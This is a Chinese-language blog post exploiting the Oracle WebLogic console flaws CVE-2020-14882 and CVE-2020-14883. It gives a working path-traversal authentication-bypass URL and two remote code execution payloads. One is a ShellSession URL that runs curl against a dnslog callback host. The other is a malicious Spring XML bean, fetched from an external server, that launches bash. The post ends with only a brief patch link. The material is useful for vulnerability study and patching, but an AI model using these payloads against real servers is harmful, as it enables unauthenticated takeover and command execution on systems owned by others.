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<h1 id="Weblogic（CVE-2020-14882，CVE-2020-14883）-管理控制台未授权远程命令执行漏洞"><a href="#Weblogic（CVE-2020-14882，CVE-2020-14883）-管理控制台未授权远程命令执行漏洞" class="headerlink" title="Weblogic（CVE-2020-14882，CVE-2020-14883） 管理控制台未授权远程命令执行漏洞"></a>Weblogic（CVE-2020-14882，CVE-2020-14883） 管理控制台未授权远程命令执行漏洞</h1><h2 id="0x01-漏洞简述"><a href="#0x01-漏洞简述" class="headerlink" title="0x01 漏洞简述"></a>0x01 漏洞简述</h2><p>2020年10月29日，360CERT监测发现 <code>Weblogic ConSole HTTP 协议代码执行漏洞,</code>该漏洞编号为 <code>CVE-2020-14882,CVE-2020-14883</code> ，漏洞等级：<code>严重</code>，漏洞评分：<code>9.8</code>。</p>
<p>远程攻击者可以构造特殊的<code>HTTP</code>请求，在未经身份验证的情况下接管 <code>WebLogic Server Console</code>，并在 <code>WebLogic Server Console</code> 执行任意代码。</p>
<h2 id="0x02-影响版本"><a href="#0x02-影响版本" class="headerlink" title="0x02 影响版本"></a>0x02 影响版本</h2><p><code>Oracle:Weblogic</code>:</p>
<ul>
<li>10.3.6.0.0</li>
<li>12.1.3.0.0</li>
<li>12.2.1.3.0</li>
<li>12.2.1.4.0</li>
<li>14.1.1.0.0</li>
</ul>
<h2 id="0x03-漏洞详情"><a href="#0x03-漏洞详情" class="headerlink" title="0x03 漏洞详情"></a>0x03 漏洞详情</h2><h3 id="CVE-2020-14883-权限绕过漏洞"><a href="#CVE-2020-14883-权限绕过漏洞" class="headerlink" title="CVE-2020-14883: 权限绕过漏洞"></a>CVE-2020-14883: 权限绕过漏洞</h3><p>远程攻击者可以构造特殊的<code>HTTP</code>请求，在未经身份验证的情况下接管 <code>WebLogic Server Console</code>。</p>
<p>权限绕过漏洞（CVE-2020-14882），访问以下URL，未授权访问到管理后台页面（低权限的用户）：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/94ac3fe0f55bed25ee3badfc8ebddaf3.png" alt="image-20201102104413803"></p>
<p>发现我们现在是低权限的用户，无法安装应用,所以组合下面的CVE-2020-14882 可以继续利用</p>
<h3 id="CVE-2020-14882-代码执行漏洞"><a href="#CVE-2020-14882-代码执行漏洞" class="headerlink" title="CVE-2020-14882: 代码执行漏洞"></a>CVE-2020-14882: 代码执行漏洞</h3><p>结合 <code>CVE-2020-14883</code> 漏洞，远程攻击者可以构造特殊的<code>HTTP</code>请求，在未经身份验证的情况下接管 <code>WebLogic Server Console</code> ，并在 <code>WebLogic Server Console</code> 执行任意代码。</p>
<h3 id="远程命令执行方法一"><a href="#远程命令执行方法一" class="headerlink" title="远程命令执行方法一"></a>远程命令执行方法一</h3><p>利用<code>com.tangosol.coherence.mvel2.sh.ShellSession</code>执行命令：（利用DNSLOG）</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&amp;_pageLabel=&amp;handle=com.tangosol.coherence.mvel2.sh.ShellSession(&quot;java.lang.Runtime.getRuntime().exec(&#x27;curl%20xzi7ua.dnslog.cn&#x27;);&quot;)</span><br></pre></td></tr></table></figure>

<p>成功执行：</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/ea80ba6172bb9694b20aaa12dabe4eb9.png" alt="image-20201102105333842"></p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/997e531a5e69f55b41b7f5b32da7c203.png" alt="image-20201102113350559"></p>
<h3 id="远程命令执行方法二（通用性高）"><a href="#远程命令执行方法二（通用性高）" class="headerlink" title="远程命令执行方法二（通用性高）"></a>远程命令执行方法二（通用性高）</h3><p>一种更为通杀的方法，对于所有Weblogic版本均有效。</p>
<p>但是必须可以出网，要可以访问到恶意的xml</p>
<p>首先需要构造一个XML文件，并将其保存外网（漏洞机或者可访问的一台机子上）上，如<code>http://zeo.com/zeo.xml</code>：</p>
<figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span> ?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.springframework.org/schema/beans&quot;</span></span></span><br><span class="line"><span class="tag">   <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">   <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">bean</span> <span class="attr">id</span>=<span class="string">&quot;pb&quot;</span> <span class="attr">class</span>=<span class="string">&quot;java.lang.ProcessBuilder&quot;</span> <span class="attr">init-method</span>=<span class="string">&quot;start&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">constructor-arg</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;<span class="name">list</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">value</span>&gt;</span>bash<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">value</span>&gt;</span>-c<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">value</span>&gt;</span>&lt;![CDATA[curl fypg4w.dnslog.cn]]&gt;<span class="tag">&lt;/<span class="name">value</span>&gt;</span></span><br><span class="line">          <span class="tag">&lt;/<span class="name">list</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">constructor-arg</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">bean</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">beans</span>&gt;</span></span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/ebd863679703b7a6650c6f1cf6932a7b.png" alt="image-20201102112847540"></p>
<p>然后通过如下URL，即可让Weblogic加载这个XML，并执行其中的命令：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&amp;_pageLabel=&amp;handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(&quot;http://example.com/rce.xml&quot;)</span><br></pre></td></tr></table></figure>

<p>成功执行：</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/96c43f601ea5364256b85398260587e6.png" alt="image-20201102113029906"></p>
<p>收到相应包</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/fca6e7f846c276549e61be9f917ebfc6.png" alt="image-20201102113010871"></p>
<h2 id="0x05-修复建议"><a href="#0x05-修复建议" class="headerlink" title="0x05 修复建议"></a>0x05 修复建议</h2><p>及时更新补丁</p>
<p>参考oracle官网发布的补丁:</p>
<p><em><a target="_blank" rel="noopener" href="https://www.oracle.com/security-alerts/cpuoct2020traditional.html">https://www.oracle.com/security-alerts/cpuoct2020traditional.html</a></em></p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2020/11/02/Weblogic%EF%BC%88CVE-2020-14882%EF%BC%8CCVE-2020-14883%EF%BC%89%20%E7%AE%A1%E7%90%86%E6%8E%A7%E5%88%B6%E5%8F%B0%E6%9C%AA%E6%8E%88%E6%9D%83%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/">https://godzeo.github.io/2020/11/02/Weblogic%EF%BC%88CVE-2020-14882%EF%BC%8CCVE-2020-14883%EF%BC%89%20%E7%AE%A1%E7%90%86%E6%8E%A7%E5%88%B6%E5%8F%B0%E6%9C%AA%E6%8E%88%E6%9D%83%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a 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class="announcement_content">Weclome my blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#Weblogic%EF%BC%88CVE-2020-14882%EF%BC%8CCVE-2020-14883%EF%BC%89-%E7%AE%A1%E7%90%86%E6%8E%A7%E5%88%B6%E5%8F%B0%E6%9C%AA%E6%8E%88%E6%9D%83%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E"><span class="toc-number">1.</span> <span class="toc-text">Weblogic（CVE-2020-14882，CVE-2020-14883） 管理控制台未授权远程命令执行漏洞</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#0x01-%E6%BC%8F%E6%B4%9E%E7%AE%80%E8%BF%B0"><span class="toc-number">1.1.</span> <span class="toc-text">0x01 漏洞简述</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x02-%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC"><span class="toc-number">1.2.</span> <span class="toc-text">0x02 影响版本</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x03-%E6%BC%8F%E6%B4%9E%E8%AF%A6%E6%83%85"><span class="toc-number">1.3.</span> <span class="toc-text">0x03 漏洞详情</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#CVE-2020-14883-%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E"><span class="toc-number">1.3.1.</span> <span class="toc-text">CVE-2020-14883: 权限绕过漏洞</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#CVE-2020-14882-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E"><span class="toc-number">1.3.2.</span> <span class="toc-text">CVE-2020-14882: 代码执行漏洞</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%96%B9%E6%B3%95%E4%B8%80"><span class="toc-number">1.3.3.</span> <span class="toc-text">远程命令执行方法一</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%96%B9%E6%B3%95%E4%BA%8C%EF%BC%88%E9%80%9A%E7%94%A8%E6%80%A7%E9%AB%98%EF%BC%89"><span class="toc-number">1.3.4.</span> <span class="toc-text">远程命令执行方法二（通用性高）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#0x05-%E4%BF%AE%E5%A4%8D%E5%BB%BA%E8%AE%AE"><span class="toc-number">1.4.</span> <span class="toc-text">0x05 修复建议</span></a></li></ol></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Nosql inject注入"/></a><div class="content"><a class="title" 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